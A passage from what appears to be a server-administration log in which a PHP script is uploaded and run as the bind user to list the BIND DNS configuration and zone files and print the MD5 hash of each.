MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:18:33: Establishing a connection
2026-04-23 18:18:33: 

PUT: /tmp/pkp180195

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:18:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp180195; rm /tmp/pkp180195'

2026-04-23 18:18:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:18:35: Establishing a connection
2026-04-23 18:18:35: 

PUT: /tmp/pkp487535

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:18:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp487535; rm /tmp/pkp487535'

2026-04-23 18:18:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
